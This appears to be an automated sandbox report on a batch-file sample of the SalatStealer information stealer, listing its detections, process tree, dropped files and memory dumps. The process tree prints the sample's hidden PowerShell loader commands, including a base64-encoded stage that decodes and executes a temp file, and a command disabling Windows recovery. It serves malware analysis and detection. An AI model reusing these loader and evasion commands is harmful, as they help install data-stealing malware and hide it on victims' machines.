Analysis
- max time kernel
148s - max time network
142s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260911-en - resource tags
- submitted
30/10/2026, 03:51
General
- Target service.bat
- Size 4.6MB
- Sample261030-eespmsws7p
- SHA256 95b229800ed859cee06b145827ba5093f00a8440617b19b1d3fd5e4133aab6d7
Malware Config
Signatures
- Family: salatstealer
SalatStealer is a stealer that takes sceenshot written in Golang.
- Detect SalatStealer payload 12 IoCs
- Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs
Run Powershell and hide display window.
- UPX packed file 18 IoCs
Detects executables packed with UPX/modified UPX open source packer.
- Executes a command shell one-liner 1 TTPs 2 IoCs
Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.
- Suspicious behavior: EnumeratesProcesses 5 IoCs
- Suspicious use of AdjustPrivilegeToken 2 IoCs
- Suspicious use of WriteProcessMemory 5 IoCs
Processes
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\service.bat"1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -NoP -NonI -W Hidden -c "$p=$env:LCBAT; Start-Process -WindowStyle Hidden -FilePath $env:ComSpec -ArgumentList @('/c',([char]34+$p+[char]34),'h')"2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\cmd.exe"C:\Windows\system32\cmd.exe" /c "C:\Users\Admin\AppData\Local\Temp\service.bat" h3⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -NoP -NonI -W Hidden -Exec Bypass -e "JABmAD0AWwBJAE8ALgBQAGEAdABoAF0AOgA6AEcAZQB0AFQAZQBtAHAAUABhAHQAaAAoACkAKwAnAGwAYwBfADMANQA0ADgAXwAxADcAOAA5ADIAMQA4ADMAOAA4ADgANAA4ADAAMQA3ADIAMAAwAC4AbAA2ADQAJwA7ACQAdAA9AFsASQBPAC4ARgBpAGwAZQBdADoAOgBSAGUAYQBkAEEAbABsAFQAZQB4AHQAKAAkAGYAKQAtAHIAZQBwAGwAYQBjAGUAJwBbAFwAcgBcAG4AXQAnACwAJwAnADsAaQBlAHgAKABbAFQAZQB4AHQALgBFAG4AYwBvAGQAaQBuAGcAXQA6ADoAVQBuAGkAYwBvAGQAZQAuAEcAZQB0AFMAdAByAGkAbgBnACgAWwBDAG8AbgB2AGUAcgB0AF0AOgA6AEYAcgBvAG0AQgBhAHMAZQA2ADQAUwB0AHIAaQBuAGcAKAAkAHQAKQApACkA"4⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\yiiws3wx\yiiws3wx.cmdline"5⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exeC:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESE015.tmp" "c:\Users\Admin\AppData\Local\Temp\yiiws3wx\CSC6F5DF7A86EB542909E7CD23325A99168.TMP"6⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\p_03c98483-9343-4130-96eb-92692a71afc6.exe"C:\Users\Admin\AppData\Local\Temp\p_03c98483-9343-4130-96eb-92692a71afc6.exe"5⤵
-
C:\Program Files (x86)\Google\OfficeClickToRun.exe"C:\Program Files (x86)\Google\OfficeClickToRun.exe"6⤵
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell.exe7⤵
-
C:\Windows\SysWOW64\ReAgentc.exe"C:\Windows\system32\ReAgentc.exe" /disable8⤵
-
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\OfficeClickToRun.exe"C:\Program Files (x86)\Microsoft\Edge\Application\OfficeClickToRun.exe" -7⤵
-
-
-
-
-
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe"C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe"1⤵
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k netsvcs -p -s BDESVC1⤵
Network
MITRE ATT&CK Enterprise v16
Replay Monitor
Loading Replay Monitor...
Downloads
StartupProfileData-NonInteractive
RESE015.tmp
__PSScriptPolicyTest_5ndc3idz.myp.psm1
lc_3548_1789218388848017200.b64
lc_3548_1789218388848017200.b64
lc_3548_1789218388848017200.l64
p_03c98483-9343-4130-96eb-92692a71afc6.exe
yiiws3wx.dll
CSC6F5DF7A86EB542909E7CD23325A99168.TMP
yiiws3wx.0.cs
yiiws3wx.cmdline
memory/1708-882-0x0000000000740000-0x0000000001395000-memory.dmp
memory/1708-886-0x0000000000740000-0x0000000001395000-memory.dmp
memory/1720-843-0x00000270F9290000-0x00000270F9298000-memory.dmp
memory/1720-855-0x00007FFCC9B60000-0x00007FFCCA504000-memory.dmp
memory/1720-816-0x00007FFCC9B60000-0x00007FFCCA504000-memory.dmp
memory/1720-820-0x00007FFCC9B60000-0x00007FFCCA504000-memory.dmp
memory/1720-821-0x00007FFCC9B60000-0x00007FFCCA504000-memory.dmp
memory/1720-815-0x00007FFCC9B60000-0x00007FFCCA504000-memory.dmp
memory/1720-823-0x00007FFCC9B60000-0x00007FFCCA504000-memory.dmp
memory/1720-817-0x00007FFCC9B60000-0x00007FFCCA504000-memory.dmp
memory/1720-825-0x00007FFCC9B60000-0x00007FFCCA504000-memory.dmp
memory/1720-826-0x00007FFCC9B60000-0x00007FFCCA504000-memory.dmp
memory/1720-827-0x00007FFCC9B60000-0x00007FFCCA504000-memory.dmp
memory/1720-828-0x00007FFCC9B60000-0x00007FFCCA504000-memory.dmp
memory/1720-829-0x00007FFCC9B60000-0x00007FFCCA504000-memory.dmp
memory/1720-830-0x00007FFCC9B60000-0x00007FFCCA504000-memory.dmp
memory/3276-853-0x0000000000170000-0x0000000000DC5000-memory.dmp
memory/3276-857-0x0000000000170000-0x0000000000DC5000-memory.dmp
memory/3276-866-0x0000000000170000-0x0000000000DC5000-memory.dmp
memory/3276-858-0x0000000000170000-0x0000000000DC5000-memory.dmp
memory/3508-897-0x00000000076C0000-0x00000000076CA000-memory.dmp
memory/3508-883-0x0000000006090000-0x00000000060AE000-memory.dmp
memory/3508-887-0x0000000006630000-0x0000000006678000-memory.dmp
memory/3508-900-0x00000000088E0000-0x0000000008E9A000-memory.dmp
memory/3508-899-0x0000000007B60000-0x0000000007B82000-memory.dmp
memory/3508-898-0x0000000007770000-0x0000000007806000-memory.dmp
memory/3508-896-0x0000000007660000-0x000000000767A000-memory.dmp
memory/3508-895-0x0000000007CA0000-0x000000000831C000-memory.dmp
memory/3508-889-0x0000000070770000-0x00000000707BC000-memory.dmp
memory/3508-890-0x00000000708D0000-0x0000000070C2B000-memory.dmp
memory/3508-894-0x0000000007510000-0x00000000075B3000-memory.dmp
memory/3508-893-0x00000000074F0000-0x0000000007510000-memory.dmp
memory/3508-869-0x0000000002830000-0x0000000002866000-memory.dmp
memory/3508-870-0x0000000005380000-0x00000000059CA000-memory.dmp
memory/3508-871-0x00000000052A0000-0x00000000052C2000-memory.dmp
memory/3508-872-0x0000000005AC0000-0x0000000005B26000-memory.dmp
memory/3508-873-0x0000000005B30000-0x0000000005B96000-memory.dmp
memory/3508-876-0x0000000005D20000-0x000000000607B000-memory.dmp
memory/3508-888-0x00000000074B0000-0x00000000074E6000-memory.dmp
memory/3508-884-0x00000000060D0000-0x000000000611C000-memory.dmp
memory/4536-1-0x00007FFCC9B60000-0x00007FFCCA504000-memory.dmp
memory/4536-5-0x00007FFCC9B60000-0x00007FFCCA504000-memory.dmp
memory/4536-7-0x00007FFCC9B60000-0x00007FFCCA504000-memory.dmp
memory/4536-4-0x000001EC3C3F0000-0x000001EC3C412000-memory.dmp
memory/4536-6-0x00007FFCC9B60000-0x00007FFCCA504000-memory.dmp
memory/4536-0-0x00007FFCC9CEF000-0x00007FFCC9CF0000-memory.dmp
memory/4536-12-0x00007FFCC9B60000-0x00007FFCCA504000-memory.dmp
memory/4536-8-0x00007FFCC9B60000-0x00007FFCCA504000-memory.dmp
memory/4536-10-0x00007FFCC9B60000-0x00007FFCCA504000-memory.dmp
memory/4536-9-0x00007FFCC9B60000-0x00007FFCCA504000-memory.dmp
memory/4536-13-0x00007FFCC9B60000-0x00007FFCCA504000-memory.dmp
memory/4712-865-0x00000000001C0000-0x0000000000E15000-memory.dmp
memory/4712-867-0x00000000001C0000-0x0000000000E15000-memory.dmp
memory/4712-868-0x00000000001C0000-0x0000000000E15000-memory.dmp
memory/4712-907-0x00000000001C0000-0x0000000000E15000-memory.dmp
memory/4712-908-0x00000000001C0000-0x0000000000E15000-memory.dmp
memory/4712-909-0x00000000001C0000-0x0000000000E15000-memory.dmp
memory/4712-910-0x00000000001C0000-0x0000000000E15000-memory.dmp
memory/4712-911-0x00000000001C0000-0x0000000000E15000-memory.dmp
memory/4712-912-0x00000000001C0000-0x0000000000E15000-memory.dmp
memory/4712-913-0x00000000001C0000-0x0000000000E15000-memory.dmp
memory/4712-914-0x00000000001C0000-0x0000000000E15000-memory.dmp